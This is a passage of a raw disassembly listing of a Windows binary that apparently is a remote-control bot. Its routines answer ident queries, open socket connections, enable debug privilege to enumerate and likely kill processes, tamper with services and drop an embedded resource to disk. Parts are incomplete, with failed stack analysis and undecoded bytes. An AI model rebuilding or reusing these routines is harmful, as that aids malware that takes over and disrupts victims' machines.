		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5EA1BD
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E6EC9, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		nop
		call	near ptr 29B0000h
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi	; closesocket


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50BB58
		mov	dword_50BB3C, 4
		call	sub_401DCA
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50BB58
		mov	dword_50BB3C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50BB58
		xor	eax, eax
		mov	dword_50BB44, eax
		mov	dword_50BB3C, 1
		mov	dword_50BB4C, eax
		mov	dword_50BB50, eax
		call	sub_401744


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50BB5C
		push	offset dword_50BB38
		push	eax
		mov	dword_50BB3C, 4
		call	near ptr 2A606BEh
		nop
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44793F
		mov	dword_50BB38, 20h
		mov	dword_50BB3C, 2
		mov	dword_50BB40, 3
		mov	dword_50BB44, esi
		mov	dword_50BB48, esi
		mov	dword_50BB4C, esi
		mov	dword_50BB50, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2A6037Dh
		cmp	eax, esi
		mov	dword_50BB5C, eax
		jz	short loc_41FBAA
		push	offset dword_50BB38
		push	eax
		mov	dword_50BB3C, 4
		mov	dword_50BB4C, esi
		mov	dword_50BB50, esi
		call	near ptr 2A606BEh
		nop


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB58, ecx
		push	100h
		mov	ecx, offset byte_44793F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 2A60000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 29F1D0Eh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 29005B5h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 2900B01h
		push	edi
		push	esi
		mov	ebp, eax
		call	near ptr 2910000h
		nop
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 2910364h
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_436840
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_436FC0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_436FBA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_436FB4
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 0FF96E856h, 0C6900245h, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		nop
		call	near ptr 29B0989h


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		nop
		call	near ptr 2AA01C7h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 2A50000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443AF4 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		call	near ptr 7608B84Ch
		nop
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE145CE8h, 0E89050FFh, 2540596h,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2A70935h
		nop
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		call	near ptr 2A102EFh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		nop
		call	near ptr 2A8036Ch
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	near ptr 28F0A9Bh
		nop
		push	eax
		nop
		call	near ptr 2A316F5h
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 28F0AD0h
		push	eax
		call	near ptr 2A31C94h
		nop
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 2A40000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		call	near ptr 2930847h
		nop
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		call	near ptr 2900000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		nop
		call	near ptr 2880000h
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 29F1D0Eh
		test	eax, eax
		mov	dword_50BB60, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2950856h
		test	eax, eax
		mov	dword_50BB60, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB64, eax
		mov	eax, dword_50BB60
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB60
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB68, eax
		call	esi
		mov	ecx, dword_50BB64
		mov	dword_50BB6C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50BB68
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB68
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB6C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		nop
		call	near ptr 29B0989h


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
